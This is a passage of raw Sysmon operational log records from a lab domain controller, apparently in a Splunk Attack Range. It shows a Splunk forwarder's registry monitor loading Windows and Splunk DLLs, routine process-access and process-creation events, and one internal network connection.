Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000053756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000053750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.721{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.722{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000053743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.502{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59660-false10.0.1.12-8000- 734700x800000000000000053742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.253{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.253{7BD73061-73B8-613B-820B-00000000F001}65044144C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.253{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program 